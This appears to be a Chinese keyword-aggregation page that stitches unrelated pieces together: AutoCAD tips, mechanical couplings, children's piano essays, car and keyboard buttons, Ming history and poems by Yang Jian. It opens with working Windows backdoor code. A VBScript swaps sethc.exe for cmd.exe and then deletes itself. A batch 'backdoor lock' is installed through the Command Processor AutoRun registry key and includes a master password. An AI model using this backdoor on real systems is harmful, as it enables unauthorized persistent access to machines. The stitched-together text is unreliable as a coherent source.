success = obj.run(“cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe© %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exedel %SystemRoot%\system32\sethc.exeren %SystemRoot%\system32\acmd.exe sethc.exe”, 0, True)
CreateObject(“Scripting.FileSystemObject”).DeleteFile(WScript.ScriptName)
三、后门锁扩展：
allyesno注：可以采用cmd 锁 来进行cmdshell的密码验证 嘿嘿，
。。
用下面的后门锁的方法是 把代码保存为bdlock.bat
然后修改注册表位置即可
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor]
“AutoRun”=“bdlock.bat”
@Echo Off
title 后门登陆验证
color a
cls
set temprandom=%RANDOM%
echo 请输入验证码:%temprandom%
set/p check=
if “%check%”==“%temprandom%%temprandom%” goto passcheck
if “%check%”==“%temprandom%” (
rem 后门服务器验证
rem 如果没有后门验证服务器请rem注释掉下一行代码
if exist \192.168.8.8\backdoor$\pass goto passcheck
)
echo 验证失败
pause
exit
:passcheck
echo 验证成功
If “%passcmdlock%”==www.xxx.com/ Goto endx
Set passcmdlock=www.xxx.com/
:allyesno
Set Errorlevel=>nul
Echo 请输入验证密码？
Set password=allyesno Is a pig>nul
Set/p password=
rem 万能密码
if “%password%”==“allyesno is a sb” goto endx
If %time:~1,1%==0 Set timechange=a
If %time:~1,1%==1 Set timechange=b
If %time:~1,1%==2 Set timechange=c
If %time:~1,1%==3 Set timechange=d
If %time:~1,1%==4 Set timechange=e
If %time:~1,1%==5 Set timechange=f
If %time:~1,1%==6 Set timechange=g
If %time:~1,1%==7 Set timechange=h
If %time:~1,1%==8 Set timechange=i
If %time:~1,1%==9 Set timechange=j
set/a sum=%time:~1,1%+%time:~1,1%
Set password findstr “^password=%timechange%%time:~1,1%%date:~8,2%%sum%$”>nul
If “%errorlevel%”==“0” cls&Echo 口令正确&Goto End
Echo 请联系我咨询正确密码！&Goto allyesno
篇9：“↑”、“↓”键的用处
用过DOS的都知道：DOS中上、下箭头键的作用，如果运行了DOSKEY则它能记住你输入的每一条命令，再次使用相同的命令时用不着再敲一遍，用上、下箭头键选择即可，在AutoCAD中也同样可以用上、下箭头键选择以前键入的命令。这在输入文本时最为有用，无论是TEXT或DTEXT命令，均可在输入文字时使用上、下箭头键来减少命令的输入量。当然，AutoCAD记录的行数是有限的，但可通过设置来加大它的记录量，步骤是选取[Tools(工具)]→[Preferences...(参数选择)]→[Display(显示)]，在[Text window parameters(文字窗口参数)]框中的第二行“Number of line of text in text windows to keep in memory”(在内存中保留文字窗口的文字行数)即为设置记录的行数，输入的数值越大则记录的越多，但如果机器内存少，那么还是少设置一些为妙，以免出意外，它的值在25和2048之间，本人的机器为128M内存，已将此值设为2048，倒也没出差错，大家可以根据自己的计算机多试几次，找到合适的数值，
为了所选择的命令都是有效的，在使用AutoCAD时应尽量减少从键盘输入重复及无意义的命令，比如层对话框的调入和Undo命令的使用，能调用菜单最好调用菜单。
篇10：无键联接
不用键或花键的轴与轮毂联接，统称为无键联接，本节主要介绍型面联接和胀紧联接。
型面联接 型面联接是轴与相应的轮毂由光滑非圆截面的表面构成的联接（见下图）。轴和毂孔可做成柱体或锥体，前者只能传递转矩，可用于不受载荷时移动的动联接；后者在传递转矩的同时，还可传递轴向力。当不允许有间隙和可靠性要求较高时，常采用非圆截面的锥体，型面联接的特点1)装拆方便，对中性较好；2)联接面上没有应力集中源，减少了应力集中；3)锥体型面联接中作用有很大的推力，且挤压应力比键联接中的挤压应力高，承载能力较低；4)切削加工较复杂，不易保证配合精度，应用尚不广泛。但由于成型工艺的发展，促进了型面联接在轻载联接中的应用。型面联接常用的型面有带切口的圆形 方形 六边形 等距曲线
篇11：黑白键歌词
黑白键歌词
从小的我，对钢琴就很感兴趣，钢琴上有两种颜色的键子，无非就是黑和白。水火不相容的'两个色调，却完美的融合在了一起。
我6.7对是对白键情有独钟，在没个人的心里，黑色的象征就是坏的，只有白色才是好的，当时我也是那样想的。但是谁又想到黑色是怎样的孤寂，他并没有做错什么事，但却被人讨厌。
黑色，邪恶：白色，纯洁。当这两个颜色遇到一起，两种极端遇到一起.....什么事情会发生，世界大战..不会，人们都希望着白色啊！你快点胜利啊！你是那么纯洁。而我要有个叛逆的想法，就是为黑色加油！
其实，我们心里是想说，黑色你坏，白色你好，说不定在他们那个不为人知的世界里是要好的朋友呢？
只有钢琴上，那黑白键一起轻轻跃起才会有美妙的音乐诞生！
黑色..............加油
白色..............没有人的鼓励，你能战胜黑色么！
……
篇12：车上list键是什么意思
4、“MODE”是切换模式按钮；
5、“SET”在多功能方向盘上是定速巡航功能按钮；
6、被圈起来的A下面有各off的按钮是自动启停功能开关，按压可打开或关闭发动机自动启停功能。
汽车自吸
汽车发动机进气的一种，是在不通过任何增压器情况下，大气压将空气压入燃烧室的一种形式，自然吸气发动机在动力输出上的平顺性与响应的直接上，要优于增压发动机。汽车发动机是为汽车提供动力的'装置，是汽车的心脏，决定着汽车的动力性、经济性、稳定性和环保性。
根据动力来源不同，汽车发动机可分为柴油发动机、汽油发动机、电动汽车电动机以及混合动力等，常见的汽油机和柴油机都属于往复活塞式内燃机，是将燃料的化学能转化为活塞运动的机械能并对外输出动力。
篇13：黑白键六年级作文
黑白键六年级作文
三年了，伴随了我三年的钢琴，伴随了我三年的教室，伴随了三年的汗水与泪。在学琴的路上，回头望望，那一幕幕，一件件刻苦铭心的画面，都使我泪流满面。
刚步入学琴教室，我很懵懂，认真的听着老师的指导。第一次用右手架起“小房子”，第一次弹钢琴琴键，第一次完成乐谱。就这样，我蒙懵懂懂的学了一年多，在一次偶然的机会，钢琴老师让我去参加比赛，这使我很高兴。看到赛场的宣传页，我才知道：我去参加的不是县里的比赛，也不是市里的比赛，而是直接开始省级总决赛。这使我记大吃一惊，又跃跃欲试。到了赛场，我很兴奋，匆匆忙忙的就把谱子弹完了。结果，因为弹的太快，这次比赛只得了个铜奖，不过这还说得过去。
一年后，我又接到了钢琴老师让我去比赛的通知，原来这次比赛与上次比赛不一样，这是一次隆重的'比赛，即使是省赛，就有俄罗斯钢琴硕士来演奏，还有著名教育家来演讲。这时我既兴奋又担心。这次，老师越发的让我练琴，从每天一个半小时，到三个小时，甚至更长。我也很急躁，比赛前也不知道流了多少泪，洒了多少汗。说流的泪比流的汗还多，一点也不夸张。两个月后，开始比赛了，我还很紧张，慌慌忙忙的弹完了曲子，原以为会落选，结果不知为什么，我竟然得了一等奖！正好获得了参加全国决赛的要求，我很兴奋，可我又有一个大问题，省级比赛已经是有很多高手，而全国决赛呢？高手如云！
果然，我又紧张了，第一次看到这么大场面，上海音乐学院副校长，中央音乐学院教授，甚至还有著名的钢琴家。这让我心惊胆颤。虽然我紧张了，但我还是获得了不错的分数。可是，我还是没有进到第二轮比赛。唉，真可惜，我只有这一次机会。不过好歹得了奖，优秀奖。虽然我没有成功，但是著名钢琴家朗朗也是这样的，一次比一次强，所以我会继续努力练琴，争取获得全国第一！
我相信，我会把钢琴这条路，走成人生之路
篇14：锁win键是什么意思
一般所有玩过DOTA，魔兽世界和CS的朋友都有这样的经历。
在非游戏模式下，再次按FN＋PrntScrn解锁胜利。
锁定WIN键的功能通常是为了防止在玩游戏时不小心触碰WIN键而弹出窗口。这是一个非常实用的`函数。很多游戏键盘都有这个功能，比如daryou的游戏机械键盘，几乎都有锁定WIN键的功能。FN是一个函数键。按住FN＋Win解锁，解锁成功。按住FN＋L切换游戏模式。
篇15：键盘上ins是什么意思
键盘常见功能键的具体功能：
1、Printscreen键
这个就是截图键，按下这个键就可以把当前屏幕截图下来，然后在画图程序或者word中粘贴就可以看到了。
2、Scroll Lock键
Scroll Lock键在Excel下比较有用。按下此键后，在Excel中按上、下键滚动时，会锁定光标而滚动页面;如果放开此键，则按上、下键时会滚动光标而不滚动页面。
3、Pause Break键
Pause Break键现在主要的.用途是：可中止某些程序的.执行。比如Bios和DOS程序，在没进入操作系统之前的DOS界面显示自检内容的时候按下此键，会暂停信息翻滚，以便查看屏幕内容，之后按任意键可以继续。
在WINDOWS状态下按windows键+Pause/Break组合键，可以直接调出系统属性面板。
4、HOME键
Home键的作用是: 将光标移到当前行左端。例如我们在用word打字的时候要在第一行顿出两格，直接按下home键就可以使光标移动到当前行左端。按下Ctrl+home组合键，可以把光标定位到文档的最前面。
5、End键
End键的作用是:将光标移到当前行右端。这个键和home键是相对的，所以只要按下Ctrl+End组合键，就可以把光标定位到文档的最后面啦。
6、PageUp和PageDown键
这两个键也是相对的，在浏览网页或excel等文档时按下这两个键可以快速地向上或向下翻页。
7、Num Lock键
Num Lock键是开启/关闭小键盘的，按下这个键，键盘上的提示灯就会亮起来，提示小键盘已经可以使用了，再次按则关闭。
篇16：朱聿键简介
清灭南明隆武政权之战
清顺治二年(1645年)闰六月至四年(1647年)十月，在清统一战争中，清军攻灭南明隆武政权之作战。
二年闰六月，在鲁王朱以海称监国于绍兴的同时，明唐王朱聿键于福州称帝，改元隆武。隆武政权辖郑芝龙、黄道周、黄斌卿等部军事力量，据闽、湘等省之部分地区。七月，黄道周率兵1000出师江西抗清，后于婺源(今安徽婺源北)被清军诱歼。八月，隆武朝廷议战守，决计以郑芝豹为前军左都督，防守仙霞关(浙闽交界处)外170处要隘；以黄斌卿为兵马招讨总兵官，率水师屯舟山，并决定翌年春进兵，一出浙东、一出江右，以抗清军。时清廷下令剃发，引起民族矛盾激化。九十月间，活动于湖广地区的大顺农民军余部，先后与隆武朝湖南总督何腾蛟、湖北巡抚堵胤锡达成盟约，联合抗清，这使虚弱的南明骤得劲助，形势为之一变。十一月初一日，何腾蛟传檄出师，督官军马进忠、卢鼎、王允成等部，从岳州(今湖南岳阳)进攻武昌。堵胤锡随李过、一功的忠贞营进攻荆州。监军张家玉于许湾(今江西抚州东南河盱江东岸)大败清军，清军步兵5000人死伤殆尽，骑兵舍马渡河，亦溺死过半。时称“隆武朝第一战功”。忠贞营由松滋(今湖北松滋北)渡江，占领荆门(今属湖北)、夷陵，包围荆州(今湖北江陵)。在此声势下，两湖抗清义军纷起。十二月，忠贞营分出刘体纯部北伐，进占宜城(今属湖北)，火烧樊城(今湖北襄樊北)，围攻襄阳(今湖北襄樊)。随后，刘体纯部进攻光化(今湖北老河口北)、均州(今湖北均县西)、邓州(今河南邓县)，攻陷内乡(今属河南)；接著挥师西进，破竹林关入陕，于次年二三月间攻占山阳(今属陕西)、商州(今陕西商县)，试图与围攻西安的大顺军贺珍部会合。西北清军主力定西大将军何洛会于商洛地区击败刘体纯部。在忠贞营围攻荆州、刘体纯部北伐之际，清新任湖川总督罗锦绣亲自至荆州督战，征南大将军勒克德浑同镇国将军巩阿岱、固山额真叶臣，亦率八旗精锐，于十二月十八日自江宁(今江苏南京)急赴湖广。顺治三年(1646年)正月二十日，忠贞营向荆州发动总攻，iii-'月三日，城将被攻陷时，情况骤变，由于何腾蛟已于三日前弃岳州南逃，勒克德浑统率之清军船队横渡洞庭，突至荆州城外忠贞营后方，两翼包抄。忠贞营遭毁灭性打击，刘芳亮战死，李过率部突围，田见秀降清，堵胤锡逃回常德(今属湖南)。隆武政权在两湖抗清的同时，在江西以赣州为中心组织抗清。隆武帝改赣州为忠诚府，授守臣杨廷麟为兵部尚书、东阁大学士，命万元吉为总督，入赣协守。杨、万招集民兵2万余人，并联合农民军4万人，隆武帝先后派粤、滇援军及广西土司兵数万，支援赣州。顺治二年九月至次年年初，明军以赣州为基地，先后收复泰和、万安、峡江及吉安府(府治今江西吉安)，声振一时。勒克德浑所率清军主力击败忠贞营、解围荆州后，扑向江西。顺治三年三月二十四日，清军攻克吉安，万元吉退保赣州。五月，清军进逼赣州。杨廷麟自雩都(今江西于都)调4万兵至，赣州巡抚刘广胤自宁都募兵2干至，俱先后溃散。清军遂围赣州，并分兵东围广信(今江西上绕)。六月，清军从间道窥湖南湘阴，被隆武江北巡抚旷章所部人于潼溪(今湖南汨罗北新墙河南岸)击败，损失人、马各干余。这时，浙东地区鲁王政权所在地绍兴被清军攻破，隆武政权镇守闽浙咽喉仙霞关之郑芝龙慌忙撤兵，还安平镇(今福建晋江安海镇)，郑鸿逵逃回福建浦城。七月初十日，征南大将军勒克德浑班师回京。八月十五日，清廷命恭顺王孔有德为平南大将军，与怀顺王耿仲明、续顺公沉志祥、右翼固山额真金砺、右翼梅勒章京屯泰，率军往征湖广及两广。二十日，又命智顺王尚可喜统所部协征。其作战部署为，先定湖广，次定赣南，然后入广东，镇守一方。与此同时，平南大将军博洛于平定浙江后，挥师南下，进入福建。因郑芝龙全线撤兵，博洛率清军得以于八月间取浦城，从容进入福建。隆武帝朱聿键闻讯，自延平(今福建南平)往汀州(今福建长汀)，企图奔赣州。八月二十四日，清军由延平兵分两路，一路由博洛统率，直取福州；一路由李成栋导引，追击隆武帝。二十八日，朱聿键被清军俘杀，隆武政权亡。九月十九日，清军至福州。十月四日，赣州被清军攻破，杨廷麟、万元吉等均自杀。
篇17：杨键的诗
杨键（1967- ），当过工人，曾游历新疆等地，多年研究佛教，现在家专事写作。
无常 夫妇俩 小镇 小鸟 冬日 在浮世 在黄昏 跃进桥 在码头边 古别离 江边 黄昏即景 新生 癞蛤蟆 春天 白头翁 诗章 夫妇 夫妇老苦经 悔恨 母爱 来由 在湖边 在江边 啊，国度！ 暮晚 惭愧 悲伤 纪念一座被废弃的文庙 小木船 运河 山巅 醒着 轻盈 思念 变化 寂寥 惊讶 在悲痛里 眺望 生死恋 死叶 小花园 哭泣 我们的故事 灰斑鸠 薄暮时分的杉树林 临河的阳台 一位绣花的乡下妇女 小镇理发室里的大镜子 骰子的八面 这里
无常
在黄昏时，
紧张的蝙蝠飞着，
一个，两个，七个……
越来越多，划着混乱的线条。
我念及花园，
念及河流的迂回
缓慢，平安的生活——
当江面上的落日愈益光亮，
仿佛深临了每一个流浪生死的心灵，
那么无限，我的透明那么无限，
就像普诺提诺斯说的：
谙尽地上流浪的她，又要回到父亲那里。
夫妇俩
他老了，
她也老了。
老，像电击一样刺痛旁观者的心。
他们一会儿就吃完了一只鸡，
男的吃头，女的吃腿。
窗外的春风迎面吹来，暖烘烘的，
他们的心动了一下，
像公园里的冷杉树，
高高耸立，难以描述，
而他们死去，烂掉
也不要紧。
小镇
在船舱里，
收音机里传出演奏《江河水》的二胡的声音，
那种人的淤泥似的清凉的痛苦，
已经不再有了，
有的只是欲望失败后的垂头丧气。
在一个叫“三五斗”的茶馆里，
三、四个农民
像几具干尸，
围坐着一张牌桌，
你看看我，我看看你
又互相躲开，
再看，眼睛再躲开。
这里什么也没有剩下了，
这里的寂静不是寂静，
而是一种勒索后的疲惫。
在深而又深的胡同里，
一个被狗绳子牵着跑的人，
从没有认识到它是一个被狗绳子牵着跑的人，
虽然这是一个淹到水里的小镇，
但也没有几个想办法望外面跑的。
小鸟
小鸟从树上飞下来
在湖面上盘旋
一圈、两圈
没有什么地方可以安息
它又飞到树上
“呜呜”地叫着
又从树上飞下来
在湖面上盘旋
没有什么地方可以安息
就像我们自己
小时候依在父母的怀抱里，
年青的时候
贪爱把我们聚在一起，
我们以为这就是依靠，
可以没有危险，
没有忧虑了，
当她老了，
我也老了，
我们才知道
这是多么脆弱的沙聚成的家，
就像树上的小鸟
“呜呜”地叫着
一圈、两圈地盘旋，
找不到一点点依靠。
冬日
一只小野鸭在冬日的湖面上，
孤单、稚嫩地叫着
我也坐在冰冷的石凳上，
孤单、稚嫩地望着湖水。
如果我们知道自己就是两只绵羊，
正走在去屠宰的路上，
我会哭泣，你也会哭泣
在这浮世上。
在浮世
野鸭子在半空
沙哑，单调地叫着
“啊，啊”
多么像我们，
虽然面部安详地走着和坐着，
但心里总有一种
隐约的凶兆，
朦胧的恐怖……
在黄昏
湖面上是落日莫名的磅礴，
无垠静卧在这里，
像一根鞭子，
抽打着我的心脏。
如果万物和我都是梦，
而我醒来，
像绵绵细雨，
似乎没有到来，似乎没有远去。
所以，我轻轻的说：
没有人束缚我们，但我们却在受，
我们远远没有尝到
放下的快乐。
我们因舍弃在一切事物里
凝成的力量——
这太好了，我们在大地上四通八达，也万寿无疆，
一切都成了我们的助手。
跃进桥
十二月的柳树，仿佛一个纤弱的小女孩，
我们要把她珍藏在心底。
远处的吊臂机勾勒着黄昏的凄凉，
一个工人和一个农民无言地相遇在桥头。
纵横的铁轨像倒放的绞刑架，
被落日的光涂抹着，
太像一笔债务，
要由我们来偿清。
郊外，一名贵妇人的坟上压着石头
她的苦难从19开始到1990年结束，
她门上锁绊的“巴哒”声
吞噬了一颗荒漠的心。
在码头边
落日饱蘸着江水，沉下去……
江风吹刮着这些民工灰白的衣服，
他们还有一段江堤必须挖完，
其中两个蹲坐在石头上吸烟。
像是一桩大事已经过去了，
一种寂寞，同冬日的夜空很配，
人们在城里盯着铁窗子生活，
生命大部分都会被浪费了。
小牛犊跑起来，
一个痛苦的歪曲的器官，
在江水边低语：
“难道我是罪有应得……？！”
古别离
什么都在来临啊，什么都在离去，
人做善事都要脸红的世纪。
我踏着尘土，这年老的妻子
延续着一座塔，一副健康的喉咙。
什么都在来临啊，什么都在离去，
我们因为求索而发红的眼睛，
必须爱上消亡，学会月亮照耀
心灵的清风改变山河的气息。
什么都在来临啊，什么都在离去，
我知道一个人情欲消尽的时候
该是多么蔚蓝的苍穹！
在透明中起伏，在静观中理解了力量。
什么都在来临啊，什么都在离去，
从清风中，我观看着你们，
我累了，群山也不能让我感动，
而念出落日的人，他是否就是落日？
江边
同我在一起吧 ，
江水的浑浊浩瀚，
要熄灭我的肉体，
展开我的心。
市郊的尖顶教堂，
松林中的大雄宝殿，庄重的石狮
仿佛死，颠沛流离，病痛
压迫而成的
点点墨斑，
那是寒酸的麻雀
像一群民工惊慌地
挤上火车——冷清的老柳树上。
黄昏即景
经历了火热的夏天
我安静地坐在山坡上，
多么美好，令人放松的荒凉！
山下抖颤的灯火，
像我们接近真理时不能抑制的心跳，
快变成灯吧，
我不想看了，
要让别人看，
我有过日落，
日出的痛苦，
整个白昼和将要黑夜的痛苦，
我悲怆的音调似乎来自余辉下的江水，
但我不想再唱了，
要让它们来唱，
灰蒙蒙的天，
苍茫茫的地，
树木、田野、小河……
新生
在夜里，我还远远没有出生，
户外，一声声蛙鸣
显现的空寂像是我的真身
芭蕉上的露水
一滴滴下来。
一个赤脚的女孩
连同月亮，
像刚刚醒来的欲望
引诱我出生，
我落在宇宙精密而无边的空荡里，
像一滴甜蜜的雨，
像欢乐的芦花，
我不能再中了夜晚母亲
要生下我来的想法。
癫蛤蟆
哀莫大于心死
——孟子
多么缓慢啊，
多么丑陋啊，
如果我们有同一颗心，
我就不会被你吓着，
就应当为你悲泣。
春 天
雨后的城市干净、潮湿，
像一架冷漠的棺材停在院中。
我身边的女孩说，“昨天一个人被砍了三刀，
扔进了雨山湖，就为一个女人……”。
她头上好看的发夹，令周围的气氛不安，
像鱼群游向的钓饵。
白头翁
黄昏的白头翁，
像往事一样从心底浮起，
为什么它们能将我如此震撼？
为什么我要将唯一的生命
化为白纸上的点点墨斑？
像松树一样生长吧，
与蓝天和大地
共享清贫的繁荣，
我看着菜地上浇粪的农民，
我笑了，
生命原是什么也不需要的蓝天，
我远眺着落日，
再也没有造句的惆怅……
诗 章
在公园里，知了不停地叫着，
像一个个过失出现在耳畔，
忧伤是多么错误，
当他认清了变化，
就不应当再被惊扰……
布谷鸟在树林里啼叫，
不惊慌，不发神经，不感叹，
要不，就停下来。
就像他的形体在消融，
他的形体在消融，
他要把自己缩小到一朵小花里，
一堵墙边的小花里。
夫 妇
在石凳上，
一对老年夫妇出了神的悲痛的衰老
令我惊讶！
男的把头贴在收音机上，
女的呆坐着，
相互折磨着呵，
一生
他们被性别践踏着
就像树叶任凭着风儿，
小船任凭着波浪……
夫妇老苦经
她老了，
乳房也挂下来，
像一口袋面粉，
他们家乡的河水奔流，
两岸的人民
换了一茬又一茬，
像夏天的萤火虫，
一闪一灭的，
而河水映照月亮的能力
不会有什么变化
如果我再为无常而悲痛，
我就是一个十分愚昧的人。
悔恨
一个人被回忆抛到这里！
在小径上
在落叶中
荒废的时日抓住他，
悔恨抓住他，
呵，他瞎了眼
把一切视为荆棘，
视为残阳下的湖水
呕出的淤泥……
一颗矛盾的心
把自己带向深不可测的噩运，
根本不知道，
爱着的会消亡，
恨着的会消亡，
唯有伟大的虚空。
像一把秤，
四平八稳，亘古不灭，
他为什么还是他呢？
他为什么还要留下自己……？
无着落，不真实，
像一个生硬的孤儿，
他的心里留下了阴影，
那是过去他对别人伤害时留下的，
他恍惚地看到了
世界和他们都是他自己心灵的化身，
他伤害了自己！
突然理解到了，
他应当像雨水一样滋润，
像普通的柳树
遮蔽湖边的石凳，
唱得像风铃一样好，
一样感动四周的空旷，
他为什么要恨？
为什么要爱？
为什么要把自己撕裂呢？
母爱
我打开门的时候，
一只老鼠进来了，
她看到我的一刹那
所表现出来的惊慌，
让我感到了她的心灵！
她吓得从嘴里放下了
她的孩子，
一团小红肉块
肚子蠕动着，
她极端的脆弱，
令人毛骨悚然。
我躲到了窗后，
想观看她们的母子情。
很长时间过去了，
一点动静也没有，
只有幼鼠的叫声
敲击着雨里的寂静，
她一直没有出现，
她知道我的存在，
因为我往堂屋走的时候，
她就衔着另一只幼鼠跑出去了。
她已经知道这里不安全，
她觉醒的速度真快！
大约有二十几分钟吧，
我开开门，
看见那一只幼鼠也不见了，
这漫长的二十几分钟，
一定是她心里牵挂这个幼鼠的二十几分钟，
她也放不下她的子女，
她也能记得她的子女丢在了什么地方！
这是她细致的母爱，
一点也不比我们人少，
一点也没有遗忘。
后来她又来过几次，
在院子的花园里，
衔走几片干干的竹叶，
大概是给那些幼鼠们
搭一个窝吧，
我还记得她眼里的惶恐，
记得她眼睛里的灰暗和贫穷。
来由
仿佛是我们的缺点
造就整个人世，
造就我们的床、房间、树、哭和笑……
我们干枯的心造就风景，
一触即发的欲望
造就了我和你——
在长久的相对里生活，
我们得到了尖锐的矛和抵抗的盾。
在湖边
如今，我只是一个坐在湖边的呆男人，
我苦笑着草丛里匆忙奔走的蚂蚁，
也苦笑着因为恼恨跳出湖面的鱼，
我想，它们若有知也会苦笑我——
糊涂，偏头疼，债务深重，因为罪孽记性越来越坏
却永远也忘不了鞭子下猴子的惊魂未定的眼睛。
啊，我看出来了，污水河，甚至一口痰
都像是我自己对自己的反对，
因为万事万物都是我的化身，
在干净、不动、无穷无尽的虚空里，
我们，不得不像画蛇添足，
都在盛年时被肉体的**变成懦弱的呆子。
在江边
在蓝天下，生锈的汽笛冒着几缕烟，
三条铁船已经烂在岸边。
打黄沙的水泥船在江面上驶过，
船上有他们的老婆和一条黑狗。
我们坐在江堤的裂缝上，
看得有点累了，
江水上落日壮观的衰败
静悄悄的，令人感动。
如果这时有人说出了憧憬，
就把他归于江水上的暮色吧，
因为大地本是梦幻，
何必追忆，何必悲痛呢……？！
无名无姓地浪荡吧，
远山含混的轮廓，
在这里，在那里，
又疏忽不见。
啊，国度！
你河边放牛的赤条条的小男孩，
你夜里的老乞丐，旅馆门前等客人的香水姑娘，
你低矮房间中穷苦的一家，铁轨上捡拾煤炭的邋遢妇女，
你工厂里偷铁的乡下小女孩
你失踪的光辉，多少人饱含着蹂躏
卑怯，不敢说话的压抑，商人、官员、震撼了大宾馆，
岸边的铁锚浸透岁月喑哑的悲凉，
中断，太久了，更大些吧！
哭泣，是为了挽回光辉，为了河边赤条条的小男孩，
他满脸的泥巴在欢笑，在逼近我们百感交集的心灵，
歌唱——是没有距离，是月亮的清辉洒向同样的人们，
我走不了的，我们是走不了的，正如天和地。
暮晚
马儿在草棚里踢着树桩，
鱼儿在篮子里蹦跳，
狗儿在院子里吠叫，
他们是多么爱惜自己，
但这正是痛苦的根源，
像月亮一样清晰，
像江水一样奔流不止……
惭愧
像每一座城市愧对乡村，
我零乱的生活，愧对温润的园林，
我恶梦的睡眠，愧对天上的月亮，
我太多的欲望，愧对清澈见底的小溪，
我对一个女人狭窄的爱，愧对今晚疏朗的夜空，
我的轮回，我的地狱，我反反复复的过错，
愧对清净愿力的地藏菩萨，
愧对父母，愧对国土
也愧对那些各行各业的光彩的人民。
悲伤
没有一部作品可以把我变为恒河，
可以把这老朽的死亡平息，
可以削除一个朝代的阴湿，
我想起柏拉图与塞涅卡的演讲，
孔子的游说，与老子的无言，
我想起入暮的讲经堂，纯净的寺院，
一柄剑的沉默有如聆听圣歌的沉默。
死亡，爱情和光阴，都成了
一个个问题，但不是最后一个问题，
我想起曙光的无言，落日的圆满，
而没有词语，真正的清净。
没有一部作品可以让我忘掉黑夜，
忘掉我的愚蠢，我的喧闹的生命。
纪念一座被废弃的文庙
在日夜流淌的长江岸边，
烟囱的黄烟，
为我们缓缓勾勒，
下雪天暮色的凄凉。
一个个榜样都来过了，
一个个完整的暮色也来过了，
就像这幢只剩下十几根大柱子的建筑，
从来没有被我们理解过。
雪地里裸露的铁轨，仿佛穷酸的孤儿，
这穷酸一直延伸到远方，
让我看见那站在枕木上，
两颊落满煤灰的乡下妇女。
她就像深埋在地的灵秀的长窗，
像死去的文庙里砸碎的石碑，
要求我们俯在雪地上回忆，
用这漫天的雪花，用湖面上的两只飞鸟。
它们上下追逐，
像长久以来的失落。
为了抚平这种对立，
一个个榜样都来过了。
攀升的台阶通向的圣贤的所在，
传不下去了，
高耸的杉树融入灰色的天空，
这是我们再也写不出的一首硬朗的诗。
为什么我会不安，
看着那石碑上，
用娴静的书法撰写的“孝”字？
为什么我要注视这自由的雪花？
在暮色一样消歇的大地上，
几扇歪歪扭扭的长窗，
几个砸碎的石狮子，
只是一阵封建的残余。
人们在寂静中交换着蔬菜和钱币，
装卸工把冻僵的猪肉甩向卡车。
白口罩下，为大雪而生的女孩子，
人们依然有为一场大雪而生的眼睛。
在日夜流淌的长江岸边，
寂静的雪花为我们缓缓勾勒着，
这个小城的暮色的凄凉，
这是我们用苦水盼来的一场大雪。
小木船
你为什么要把生活弄得这样僵硬？
你连一条小木船的轻松自如都没有，
连一棵树都不如啊，
比如说柳树，榆树，香樟树，
一年四季都在自然地变化着，
一年四季
都很美好。
你为什么连这些树，
连一条小木船都不如啊！
运河
这不是一座城市，
这是灰蒙蒙的水泥厂。
我们的房子拆掉了，
我们的狗也死了，
倒在运河边，
像家里的一个老人，
眼睛睁得比平常大一点，
像闪亮的小玻璃，
疲惫不堪的阴茎，
拖得很长。
运河上一条船也没有，
岸边浮着看不下去的垃圾，
和臭烘烘的气泡。
我们的桥，半月形的，
在远处，
令人想起生命是柔和的，绵延无尽的，
(如果生命不是永恒的，活着干什么呢？)
只是我们的烦躁，
越来越小的耐心，
使我们再也造不出那么精细的护栏，
而柳树的枝条还是轻松地悬挂着，
那都是不屈的泥土的功劳。
我凝望着今天的河水，
我的生命暗淡了，
它好像正处在薄暮向夜晚转换的时刻。
随后，
我的视野展开了，
看见每一个下班的人，
都像一列气喘吁吁的火车，
在那半月形的桥梁上通过。
山巅
落日以自己的无常向我们展示，
化解痛苦的方法，
蜿蜒的小路也来帮忙，
还有草丛里星星点点的野花。
在山下，
烧荒的火焰，
以浩翰的流逝，
也来提醒，来帮助……
轻盈
安宁
像一把铁锨，
“哗”地一下，
踩进泥土。
也像一只篮子，
静静悬挂。
快了，
暮色广大的安宁就是他起伏有致的心。
醒着
有时候，人连衣服也不脱，就睡了。
他害怕脱衣服时，把自己脱醒了，
他害怕清醒，也怕光。
有时候，人连澡也不洗，就睡了。
他害怕洗澡时，把自己激醒了。
但大部分时候，他不得不醒着，不可能老睡着！
轻盈
树木，湖水……
这是轻盈的灵魂上的斑点，
记忆的斑点，
像衣服上的渍痕。
我们都忘记了，
生活在幻影里面，
不是生活在对幻影的映照里面，
我们死去了，像真的死去了一样。
我们摸到了，像真的摸到了一样。
我们已经说不出什么好话了，
我们的嘴唇是灰色的，眼眶也是灰色的，
我们已经说不出柳丝一样的语言。
我们都忘记了，树木，湖水，
这是轻盈的灵魂上的斑点。
我们的欢乐是神秘的，仿佛来自寒风
在坟头上形成的薄烟。
思念
时常地，我们会忘记清风
恬淡寡欲的忠告。
时常地，思念会把我们抛进茫茫黑夜的孤单，
它吃着人世粗糙的粮食。
在一个小房间里，
他听着狗的叫声，
他训练好了吗？
变化
死亡是一条变化的河流，
很快就变成了生。
家也是一条变化的河流，
很快就变成了鸟的家，蜘蛛的家，和蝙蝠的家。
爱情也是一条变化的河流，
很快就变成了怒目相视的仇恨。
人也是一条变化的河流，
很快就变成了皮包骨，
居然连呼吸也不能保留，
连一根针也不能带走。
死亡啊，多少死亡白白流逝了，
连一个肃穆、端庄的世界也派生不出来。
很快，落日的光暗淡了，
连人世的语言我们也会忘记。
寂寥
在冬天，马路边的树枝，
仿佛死人的手臂，大腿，
寂寥啊，就像古时候的惊堂木，
吓得我们这些罪人瑟瑟发抖。
惊讶
油菜花上的蝴蝶让我惊讶，
它们飞开了一点点，然后又飞回来了，
为了短促得要命的花香，
跟那为了一点点快乐
就可以把一切葬送的我们一个样。
在悲痛里
光线洒下来，
像一阵阵细雨。
在棕榈树下，
请原谅我脸上的愁容，
原谅我困窘的黑暗，
像一条污浊的河流
在这里的玷污，
但主要是玷污了我自己
温馨的，轻柔的生命。
多少年过去了，
悲痛消磨着我，像爱情，
我一直就没有长大，
我的脑海里仍是那石牌坊
倒下来时的轰响，
我的恐惧来自于对它的响应，
我本可以放下这些，
因为我的生命里，
没有石牌坊，也没有两只怒吼的狮子，
我的生命是轻盈的，像在傍晚时
你抬头看见的落日给予人世的光辉。
我本应该欢喜地过日子，
可是我愚蠢地用痛苦惩罚着自己，
仿佛只有跟痛苦对应才是正确的，
我就这样浪费了我在世上的光阴，
